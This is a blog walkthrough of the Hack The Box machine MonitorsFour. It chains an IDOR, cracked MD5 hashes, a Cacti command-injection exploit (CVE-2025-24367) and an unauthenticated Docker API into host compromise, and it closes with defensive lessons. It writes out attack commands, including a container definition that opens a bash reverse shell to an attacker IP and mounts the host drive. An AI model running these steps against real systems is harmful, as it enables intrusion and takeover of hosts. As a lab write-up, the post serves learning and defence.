DEV Community

Cover image for HTB: MonitorsFour - Full Walkthrough
Yogeshwar Peela
Yogeshwar Peela

Posted on

HTB: MonitorsFour - Full Walkthrough

#hackthebox #cybersecurity #docker #ctf

Introduction

If you've been grinding HTB long enough, you start recognizing a pattern: one small oversight compounds into another until the entire system is wide open. MonitorsFour is a textbook example of that. No single vulnerability here is exotic — but chained together, they hand you full control of the host. Let's walk through it.

Difficulty: Medium | OS: Windows | Platform: Hack The Box

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root

Reconnaissance

Standard nmap scan to start:

nmap -sCV -T4 -A <Target_IP> -o filename
Enter fullscreen mode Exit fullscreen mode

Two ports of interest came back:

  • Port 80/tcp — HTTP (nginx)
  • Port 5985/tcp — WinRM (Windows Remote Management)

The website itself had nothing obviously useful on the surface. Time to dig deeper.

Enumeration

Directory Fuzzing

Running ffuf against the web root to find hidden endpoints:

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://monitorsfour.htb/FUZZ -ac
Enter fullscreen mode Exit fullscreen mode

A /user endpoint surfaced. Navigating to it returned an error — a token parameter was expected.

The IDOR Vulnerability

Here's where it gets interesting. I tried the simplest possible value: token=0. It worked.

This is a classic IDOR (Insecure Direct Object Reference) — the backend assigned tokens as sequential integers and performed no ownership validation whatsoever. Passing token=0 returned the first user's data, no authentication required.

The exposed data included password hashes. Those hashes? Unsalted MD5 — trivially crackable using CrackStation. Within seconds, valid credentials were in hand.

Virtual Host Enumeration

The cracked credentials didn't work on the main site. With WinRM also open, it was worth checking for additional virtual hosts:

ffuf -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/dirb/wordlists/big.txt -ac
Enter fullscreen mode Exit fullscreen mode

A subdomain appeared: cacti.monitorsfour.htb. Added it to /etc/hosts and navigated over.

Always check for virtual hosts — they're often where the real attack surface hides.

Gaining Access to Cacti

The login page came up. Trying admin / wonderful1 failed — username mismatch. But the IDOR endpoint had leaked the administrator's full name (Marcus Higgins) and email address. Trying a few variations of the name, marcus / wonderful1 succeeded.

Exploitation

Identifying the CVE

The Cacti version was displayed openly on the dashboard: Cacti 1.2.28

A quick search surfaced CVE-2025-24367 — a critical authenticated RCE vulnerability affecting Cacti ≤ 1.2.28. The flaw lies in the Graph Template functionality, where user-supplied input is passed to rrdtool without proper sanitisation, enabling command injection.

Setting Up the Exploit

A public PoC was available. Clone it:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
cd CVE-2025-24367-Cacti-PoC
Enter fullscreen mode Exit fullscreen mode

Start a listener on port 4444:

nc -lnvp 4444
Enter fullscreen mode Exit fullscreen mode

Then fire the exploit:

sudo python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.145 -l 4444
Enter fullscreen mode Exit fullscreen mode

Shell Received

A reverse shell landed as www-data inside the Cacti web directory — initial foothold confirmed.

User Flag

Basic enumeration of /home revealed a directory for marcus. The user.txt file inside was world-readable:

ls -la /home
ls /home/marcus
cat /home/marcus/user.txt
Enter fullscreen mode Exit fullscreen mode

User flag captured!

Privilege Escalation

Recognizing the Container

The system hostname was a hex string — the kind Docker assigns to containers. No sudo available either. Checking the network:

  • IP in the 172.18.0.0/16 range
  • Default gateway 172.18.0.1

This was a Docker container. The escalation objective shifted: escape the container and reach the host.

Finding the Host IP

/etc/resolv.conf in containerized environments is auto-generated by the Docker engine and often reveals the host-side IP. Checking it disclosed the Docker host IP: 192.168.65.7.

Unauthenticated Docker API

Port 2375 is the classic Docker Remote API port. Testing:

curl http://192.168.65.7:2375/version
Enter fullscreen mode Exit fullscreen mode

No auth prompt. No TLS. The daemon just… answered.

An exposed Docker API without auth lets you:

  • Create containers with arbitrary mounts
  • Run in privileged mode
  • Bypass host kernel protections entirely

Enumerating Available Images 

curl http://192.168.65.7:2375/images/json | grep "RepoTags:\[[^]]*\]"
Enter fullscreen mode Exit fullscreen mode

Several locally cached images were available. Using an existing image (docker_setup-nginx-php:latest) avoids pulling anything new — quieter, and more reliable in restricted environments.

Creating the Malicious Container

Create container.json on the attacking machine:

{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": [
    "/bin/bash",
    "-c",
    "bash -i >& /dev/tcp/<tun-ip>/9999 0>&1"
  ],
  "HostConfig": {
    "Binds": [
      "/mnt/host/c:/host_root"
    ]
  }
}
Enter fullscreen mode Exit fullscreen mode

In this HTB lab environment (WSL2-based), the Windows host filesystem is exposed at /mnt/host/c from within Linux containers.

Serve the file from the attacking machine:

python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode

Fetch it from within the existing shell:

curl http://<tun-ip>:8000/container.json -o container.json
Enter fullscreen mode Exit fullscreen mode

Create the container via the API:

curl -H "Content-Type: application/json" -d @container.json \
  http://192.168.65.7:2375/containers/create?name=pwned
Enter fullscreen mode Exit fullscreen mode

Start a listener:

nc -lnvp 9999
Enter fullscreen mode Exit fullscreen mode

Start the container:

curl -X POST http://192.168.65.7:2375/containers/pwned/start
Enter fullscreen mode Exit fullscreen mode

Root Flag

A shell arrived with full access to the host filesystem via /host_root:

ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt
Enter fullscreen mode Exit fullscreen mode

Root flag captured!

Attack Chain Summary

Step Action
Reconnaissance Nmap revealed HTTP and WinRM
IDOR token=0 exposed admin credentials
Hash Cracking Unsalted MD5 cracked via CrackStation
Vhost Enumeration Discovered cacti.monitorsfour.htb
Cacti Login Credentials reused successfully
RCE CVE-2025-24367 gave www-data shell
Container Escape Unauthenticated Docker API on port 2375
Root Mounted host filesystem via malicious container

Lessons Learned

MonitorsFour isn't a box that requires exotic techniques. Every step in this chain is a well-documented, preventable misconfiguration:

1. IDOR with sequential tokens — Always validate that the authenticated user owns the resource being requested. Token values should be non-sequential (UUIDs), and ownership must be checked server-side on every request.

2. Unsalted MD5 for passwords — MD5 was never appropriate for password storage, and without a salt it's instantly reversible. Use bcrypt, scrypt, or Argon2 with a unique per-user salt.

3. Unpatched software — CVE-2025-24367 had patches available. Cacti 1.2.28 should not have been running in any internet-facing or networked context.

4. Unauthenticated Docker API — Exposing the Docker daemon on port 2375 without TLS mutual authentication is equivalent to giving any user on the network a root shell. If the Remote API is needed at all, it must be locked down with certificates and network-level controls.

Conclusion

The takeaway: defense in depth matters. Any one of these issues in isolation is manageable. Together, they resulted in full host compromise from a single unauthenticated HTTP request.

Top comments (0)